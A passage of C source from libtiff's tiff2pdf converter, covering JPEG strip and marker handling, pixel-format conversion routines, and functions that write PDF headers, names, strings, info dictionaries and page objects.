for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength] |= 0x10; ojpegdata[t2p->pdf_ojpegdatalength++] |=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } } if(TIFFNumberOfStrips(input)>1){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdd; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; ojpegdata[t2p->pdf_ojpegdatalength++]= (ri>>8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= ri & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xda; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(6 + 2*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=t2p->tiff_samplesperpixel & 0xff; for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]= i & 0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength] |= ( ( (i>(table_count-1U)) ? (table_count-1U) : i) << 4U) & 0xf0; ojpegdata[t2p->pdf_ojpegdatalength++] |= ( (i>(table_count-1U)) ? (table_count-1U) : i) & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++] = (i << 4) & 0xf0; } } if(proc==JPEGPROC_BASELINE){ t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]=0x3f; t2p->pdf_ojpegdatalength++; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (lp[0] & 0xff); t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]= (pt[0] & 0x0f); } return(1); } #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip( unsigned char* strip, tsize_t* striplength, unsigned char* buffer, tsize_t* bufferoffset, tstrip_t no, uint32 height){ tsize_t i=0; while (i < *striplength) { tsize_t datalen; uint16 ri; uint16 v_samp; uint16 h_samp; int j; int ncomp; /* marker header: one or more FFs */ if (strip[i] != 0xff) return(0); i++; while (i < *striplength && strip[i] == 0xff) i++; if (i >= *striplength) return(0); /* SOI is the only pre-SOS marker without a length word */ if (strip[i] == 0xd8) datalen = 0; else { if ((*striplength - i) <= 2) return(0); datalen = (strip[i+1] << 8) | strip[i+2]; if (datalen < 2 || datalen >= (*striplength - i)) return(0); } switch( strip[i] ){ case 0xd8: /* SOI - start of image */ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2); *bufferoffset+=2; break; case 0xc0: /* SOF0 */ case 0xc1: /* SOF1 */ case 0xc3: /* SOF3 */ case 0xc9: /* SOF9 */ case 0xca: /* SOF10 */ if(no==0){ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); ncomp = buffer[*bufferoffset+9]; if (ncomp < 1 || ncomp > 4) return(0); v_samp=1; h_samp=1; for(j=0;j<ncomp;j++){ uint16 samp = buffer[*bufferoffset+11+(3*j)]; if( (samp>>4) > h_samp) h_samp = (samp>>4); if( (samp & 0x0f) > v_samp) v_samp = (samp & 0x0f); } v_samp*=8; h_samp*=8; ri=((( ((uint16)(buffer[*bufferoffset+5])<<8) | (uint16)(buffer[*bufferoffset+6]) )+v_samp-1)/ v_samp); ri*=((( ((uint16)(buffer[*bufferoffset+7])<<8) | (uint16)(buffer[*bufferoffset+8]) )+h_samp-1)/ h_samp); buffer[*bufferoffset+5]= (unsigned char) ((height>>8) & 0xff); buffer[*bufferoffset+6]= (unsigned char) (height & 0xff); *bufferoffset+=datalen+2; /* insert a DRI marker */ buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]=0xdd; buffer[(*bufferoffset)++]=0x00; buffer[(*bufferoffset)++]=0x04; buffer[(*bufferoffset)++]=(ri >> 8) & 0xff; buffer[(*bufferoffset)++]= ri & 0xff; } break; case 0xc4: /* DHT */ case 0xdb: /* DQT */ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; break; case 0xda: /* SOS */ if(no==0){ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; } else { buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]= (unsigned char)(0xd0 | ((no-1)%8)); } i += datalen + 1; /* copy remainder of strip */ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i); *bufferoffset+= *striplength - i; return(1); default: /* ignore any other marker */ break; } i += datalen + 1; } /* failed to find SOS marker */ return(0); } #endif /* This functions converts a tilewidth x tilelength buffer of samples into an edgetilewidth x tilelength buffer of samples. */ void t2p_tile_collapse_left( tdata_t buffer, tsize_t scanwidth, uint32 tilewidth, uint32 edgetilewidth, uint32 tilelength){ uint32 i; tsize_t edgescanwidth=0; edgescanwidth = (scanwidth * edgetilewidth + (tilewidth - 1))/ tilewidth; for(i=0;i<tilelength;i++){ _TIFFmemcpy( &(((char*)buffer)[edgescanwidth*i]), &(((char*)buffer)[scanwidth*i]), edgescanwidth); } return; } /* * This function calls TIFFWriteDirectory on the output after blanking its * output by replacing the read, write, and seek procedures with empty * implementations, then it replaces the original implementations. */ void t2p_write_advance_directory(T2P* t2p, TIFF* output) { t2p_disable(output); if(!TIFFWriteDirectory(output)){ TIFFError(TIFF2PDF_MODULE, "Error writing virtual directory to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p_enable(output); return; } tsize_t t2p_sample_planar_separate_to_contig( T2P* t2p, unsigned char* buffer, unsigned char* samplebuffer, tsize_t samplebuffersize){ tsize_t stride=0; tsize_t i=0; tsize_t j=0; stride=samplebuffersize/t2p->tiff_samplesperpixel; for(i=0;i<stride;i++){ for(j=0;j<t2p->tiff_samplesperpixel;j++){ buffer[i*t2p->tiff_samplesperpixel + j] = samplebuffer[i + j*stride]; } } return(samplebuffersize); } tsize_t t2p_sample_realize_palette(T2P* t2p, unsigned char* buffer){ uint32 sample_count=0; uint16 component_count=0; uint32 palette_offset=0; uint32 sample_offset=0; uint32 i=0; uint32 j=0; sample_count=t2p->tiff_width*t2p->tiff_length; component_count=t2p->tiff_samplesperpixel; for(i=sample_count;i>0;i--){ palette_offset=buffer[i-1] * component_count; sample_offset= (i-1) * component_count; for(j=0;j<component_count;j++){ buffer[sample_offset+j]=t2p->pdf_palette[palette_offset+j]; } } return(0); } /* This functions converts in place a buffer of ABGR interleaved data into RGB interleaved data, discarding A. */ tsize_t t2p_sample_abgr_to_rgb(tdata_t data, uint32 samplecount) { uint32 i=0; uint32 sample=0; for(i=0;i<samplecount;i++){ sample=((uint32*)data)[i]; ((char*)data)[i*3]= (char) (sample & 0xff); ((char*)data)[i*3+1]= (char) ((sample>>8) & 0xff); ((char*)data)[i*3+2]= (char) ((sample>>16) & 0xff); } return(i*3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, discarding A. */ tsize_t t2p_sample_rgbaa_to_rgb(tdata_t data, uint32 samplecount) { uint32 i; for(i = 0; i < samplecount; i++) memcpy((uint8*)data + i * 3, (uint8*)data + i * 4, 3); return(i * 3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, adding 255-A to each component sample. */ tsize_t t2p_sample_rgba_to_rgb(tdata_t data, uint32 samplecount) { uint32 i = 0; uint32 sample = 0; uint8 alpha = 0; for (i = 0; i < samplecount; i++) { sample=((uint32*)data)[i]; alpha=(uint8)((255 - ((sample >> 24) & 0xff))); ((uint8 *)data)[i * 3] = (uint8) ((sample >> 16) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 1] = (uint8) ((sample >> 8) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 2] = (uint8) (sample & 0xff) + alpha; } return (i * 3); } /* This function converts the a and b samples of Lab data from signed to unsigned. */ tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t buffer, uint32 samplecount){ uint32 i=0; for(i=0;i<samplecount;i++){ if( (((unsigned char*)buffer)[(i*3)+1] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+1] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+1]); } else { ((unsigned char*)buffer)[(i*3)+1] |= 0x80; } if( (((unsigned char*)buffer)[(i*3)+2] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+2] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+2]); } else { ((unsigned char*)buffer)[(i*3)+2] |= 0x80; } } return(samplecount*3); } /* This function writes the PDF header to output. */ tsize_t t2p_write_pdf_header(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[16]; int buflen=0; buflen = snprintf(buffer, sizeof(buffer), "%%PDF-%u.%u ", t2p->pdf_majorversion&0xff, t2p->pdf_minorversion&0xff); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t)"\n%\342\343\317\323\n", 7); return(written); } /* This function writes the beginning of a PDF object to output. */ tsize_t t2p_write_pdf_obj_start(uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen ); written += t2pWriteFile(output, (tdata_t) " 0 obj\n", 7); return(written); } /* This function writes the end of a PDF object to output. */ tsize_t t2p_write_pdf_obj_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "endobj\n", 7); return(written); } /* This function writes a PDF name object to output. */ tsize_t t2p_write_pdf_name(unsigned char* name, TIFF* output){ tsize_t written=0; uint32 i=0; char buffer[64]; uint16 nextchar=0; size_t namelen=0; namelen = strlen((char *)name); if (namelen>126) { namelen=126; } written += t2pWriteFile(output, (tdata_t) "/", 1); for (i=0;i<namelen;i++){ if ( ((unsigned char)name[i]) < 0x21){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if ( ((unsigned char)name[i]) > 0x7E){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if (nextchar==0){ switch (name[i]){ case 0x23: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x25: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x28: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x29: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x2F: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3C: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3E: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; default: written += t2pWriteFile(output, (tdata_t) &name[i], 1); } } nextchar=0; } written += t2pWriteFile(output, (tdata_t) " ", 1); return(written); } /* * This function writes a PDF string object to output. */ tsize_t t2p_write_pdf_string(char* pdfstr, TIFF* output) { tsize_t written = 0; uint32 i = 0; char buffer[64]; size_t len = 0; len = strlen(pdfstr); written += t2pWriteFile(output, (tdata_t) "(", 1); for (i=0; i<len; i++) { if((pdfstr[i]&0x80) || (pdfstr[i]==127) || (pdfstr[i]<32)){ snprintf(buffer, sizeof(buffer), "\\%.3o", ((unsigned char)pdfstr[i])); written += t2pWriteFile(output, (tdata_t)buffer, 4); } else { switch (pdfstr[i]){ case 0x08: written += t2pWriteFile(output, (tdata_t) "\\b", 2); break; case 0x09: written += t2pWriteFile(output, (tdata_t) "\\t", 2); break; case 0x0A: written += t2pWriteFile(output, (tdata_t) "\\n", 2); break; case 0x0C: written += t2pWriteFile(output, (tdata_t) "\\f", 2); break; case 0x0D: written += t2pWriteFile(output, (tdata_t) "\\r", 2); break; case 0x28: written += t2pWriteFile(output, (tdata_t) "\\(", 2); break; case 0x29: written += t2pWriteFile(output, (tdata_t) "\\)", 2); break; case 0x5C: written += t2pWriteFile(output, (tdata_t) "\\\\", 2); break; default: written += t2pWriteFile(output, (tdata_t) &pdfstr[i], 1); } } } written += t2pWriteFile(output, (tdata_t) ") ", 1); return(written); } /* This function writes a buffer of data to output. */ tsize_t t2p_write_pdf_stream(tdata_t buffer, tsize_t len, TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) buffer, len); return(written); } /* This functions writes the beginning of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "stream\n", 7); return(written); } /* This function writes the end of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "\nendstream\n", 11); return(written); } /* This function writes a stream dictionary for a PDF stream to output. */ tsize_t t2p_write_pdf_stream_dict(tsize_t len, uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/Length ", 8); if(len!=0){ written += t2p_write_pdf_stream_length(len, output); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); } return(written); } /* This functions writes the beginning of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "<< \n", 4); return(written); } /* This function writes the end of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) " >>\n", 4); return(written); } /* This function writes a number to output. */ tsize_t t2p_write_pdf_stream_length(tsize_t len, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)len); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n", 1); return(written); } /* * This function writes the PDF Catalog structure to output. */ tsize_t t2p_write_pdf_catalog(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; written += t2pWriteFile(output, (tdata_t)"<< \n/Type /Catalog \n/Pages ", 27); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, TIFFmin((size_t)buflen, sizeof(buffer) - 1)); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); if(t2p->pdf_fitwindow){ written += t2pWriteFile(output, (tdata_t) "/ViewerPreferences <</FitWindow true>>\n", 39); } written += t2pWriteFile(output, (tdata_t)">>\n", 3); return(written); } /* This function writes the PDF Info structure to output. */ tsize_t t2p_write_pdf_info(T2P* t2p, TIFF* input, TIFF* output) { tsize_t written = 0; char* info; char buffer[512]; if(t2p->pdf_datetime[0] == '\0') t2p_pdf_tifftime(t2p, input); if (strlen(t2p->pdf_datetime) > 0) { written += t2pWriteFile(output, (tdata_t) "<< \n/CreationDate ", 18); written += t2p_write_pdf_string(t2p->pdf_datetime, output); written += t2pWriteFile(output, (tdata_t) "\n/ModDate ", 10); written += t2p_write_pdf_string(t2p->pdf_datetime, output); } written += t2pWriteFile(output, (tdata_t) "\n/Producer ", 11); snprintf(buffer, sizeof(buffer), "libtiff / tiff2pdf - %d", TIFFLIB_VERSION); written += t2p_write_pdf_string(buffer, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); if (t2p->pdf_creator[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(t2p->pdf_creator, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_SOFTWARE, &info) != 0 && info) { if(strlen(info) >= sizeof(t2p->pdf_creator)) info[sizeof(t2p->pdf_creator) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_author[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(t2p->pdf_author, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if ((TIFFGetField(input, TIFFTAG_ARTIST, &info) != 0 || TIFFGetField(input, TIFFTAG_COPYRIGHT, &info) != 0) && info) { if (strlen(info) >= sizeof(t2p->pdf_author)) info[sizeof(t2p->pdf_author) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_title[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(t2p->pdf_title, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_DOCUMENTNAME, &info) != 0){ if(strlen(info) > 511) { info[512] = '\0'; } written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_subject[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(t2p->pdf_subject, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_IMAGEDESCRIPTION, &info) != 0 && info) { if (strlen(info) >= sizeof(t2p->pdf_subject)) info[sizeof(t2p->pdf_subject) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_keywords[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Keywords ", 10); written += t2p_write_pdf_string(t2p->pdf_keywords, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } written += t2pWriteFile(output, (tdata_t) ">> \n", 4); return(written); } /* * This function fills a string of a T2P struct with the current time as a PDF * date string, it is called by t2p_pdf_tifftime. */ void t2p_pdf_currenttime(T2P* t2p) { struct tm* currenttime; time_t timenow; if (time(&timenow) == (time_t) -1) { TIFFError(TIFF2PDF_MODULE, "Can't get the current time: %s", strerror(errno)); timenow = (time_t) 0; } currenttime = localtime(&timenow); snprintf(t2p->pdf_datetime, sizeof(t2p->pdf_datetime), "D:%.4d%.2d%.2d%.2d%.2d%.2d", (currenttime->tm_year + 1900) % 65536, (currenttime->tm_mon + 1) % 256, (currenttime->tm_mday) % 256, (currenttime->tm_hour) % 256, (currenttime->tm_min) % 256, (currenttime->tm_sec) % 256); return; } /* * This function fills a string of a T2P struct with the date and time of a * TIFF file if it exists or the current time as a PDF date string. */ void t2p_pdf_tifftime(T2P* t2p, TIFF* input) { char* datetime; if (TIFFGetField(input, TIFFTAG_DATETIME, &datetime) != 0 && (strlen(datetime) >= 19) ){ t2p->pdf_datetime[0]='D'; t2p->pdf_datetime[1]=':'; t2p->pdf_datetime[2]=datetime[0]; t2p->pdf_datetime[3]=datetime[1]; t2p->pdf_datetime[4]=datetime[2]; t2p->pdf_datetime[5]=datetime[3]; t2p->pdf_datetime[6]=datetime[5]; t2p->pdf_datetime[7]=datetime[6]; t2p->pdf_datetime[8]=datetime[8]; t2p->pdf_datetime[9]=datetime[9]; t2p->pdf_datetime[10]=datetime[11]; t2p->pdf_datetime[11]=datetime[12]; t2p->pdf_datetime[12]=datetime[14]; t2p->pdf_datetime[13]=datetime[15]; t2p->pdf_datetime[14]=datetime[17]; t2p->pdf_datetime[15]=datetime[18]; t2p->pdf_datetime[16] = '\0'; } else { t2p_pdf_currenttime(t2p); } return; } /* * This function writes a PDF Pages Tree structure to output. */ tsize_t t2p_write_pdf_pages(T2P* t2p, TIFF* output) { tsize_t written=0; tdir_t i=0; char buffer[32]; int buflen=0; int page=0; written += t2pWriteFile(output, (tdata_t) "<< \n/Type /Pages \n/Kids [ ", 26); page = t2p->pdf_pages+1; for (i=0;i<t2p->tiff_pagecount;i++){ buflen=snprintf(buffer, sizeof(buffer), "%d", page); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if ( ((i+1)%8)==0 ) { written += t2pWriteFile(output, (tdata_t) "\n", 1); } page +=3; page += t2p->tiff_pages[i].page_extra; if(t2p->tiff_pages[i].page_tilecount>0){ page += (2 * t2p->tiff_pages[i].page_tilecount); } else { page +=2; } } written += t2pWriteFile(output, (tdata_t) "] \n/Count ", 10); buflen=snprintf(buffer, sizeof(buffer), "%d", t2p->tiff_pagecount); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n>> \n", 6); return(written); } /* This function writes a PDF Page structure to output. */ tsize_t t2p_write_pdf_page(uint32 object, T2P* t2p, TIFF* output){ unsigned int i=0; tsize_t written=0; char buffer[256]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<<\n/Type /Page \n/Parent ", 24); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/MediaBox [", 11); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "] \n", 3); written += t2pWriteFile(output, (tdata_t) "/Contents ", 10); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/Resources << \n", 15); if( t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount != 0 ){ written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i++){ written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "_", 1); buflen = snprintf(buffer, sizeof(buffer), "%u", i+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if(i%4==3){ written += t2pWriteFile(output, (tdata_t) "\n", 1); } } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } else { written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } if(t2p->tiff_transferfunctioncount != 0) { written += t2pWriteFile(output, (tdata_t) "/ExtGState <<", 13); t2pWriteFile(output, (tdata_t) "/GS1 ", 5); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">> \n", 4); } written += t2pWriteFile(output, (tdata_t) "/ProcSet [ ", 11); if(t2p->pdf_colorspace & T2P_CS_BILEVEL || t2p->pdf_colorspace & T2P_CS_GRAY ){ written += t2pWriteFile(output, (tdata_t) "/ImageB ", 8); } else { written += t2pWriteFile(output, (tdata_t) "/ImageC ", 8); if(t2p->pdf_colorspace & T2P_CS_PALETTE){ written += t2pWriteFile(output, (tdata_t) "/ImageI ", 8); } } written += t2pWriteFile(output, (tdata_t) "]\n>>\n>>\n", 8); return(written); } /* This function composes the page size and image and tile locations on a page. */ void t2p_compose_pdf_page(T2P* t2p){ uint32 i=0; uint32 i2=0; T2P_TILE* tiles=NULL; T2P_BOX* boxp=NULL; uint32 tilecountx=0; uint32 tilecounty=0; uint32 tilewidth=0; uint32 tilelength=0; int istiled=0; float f=0; float width_ratio=0; float length_ratio=0; t2p->pdf_xres = t2p->tiff_xres; t2p->pdf_yres = t2p->tiff_yres; if(t2p->pdf_overrideres) { t2p->pdf_xres = t2p->pdf_defaultxres; t2p->pdf_yres = t2p->pdf_defaultyres; } if(t2p->pdf_xres == 0.0) t2p->pdf_xres = t2p->pdf_defaultxres; if(t2p->pdf_yres == 0.0) t2p->pdf_yres = t2p->pdf_defaultyres; if (t2p->pdf_image_fillpage) { width_ratio = t2p->pdf_defaultpagewidth/t2p->tiff_width; length_ratio = t2p->pdf_defaultpagelength/t2p->tiff_length; if (width_ratio < length_ratio ) { t2p->pdf_imagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_imagelength = t2p->tiff_length * width_ratio; } else { t2p->pdf_imagewidth = t2p->tiff_width * length_ratio; t2p->pdf_imagelength = t2p->pdf_defaultpagelength; } } else if (t2p->tiff_resunit != RESUNIT_CENTIMETER /* RESUNIT_NONE and */ && t2p->tiff_resunit != RESUNIT_INCH) { /* other cases */ t2p->pdf_imagewidth = 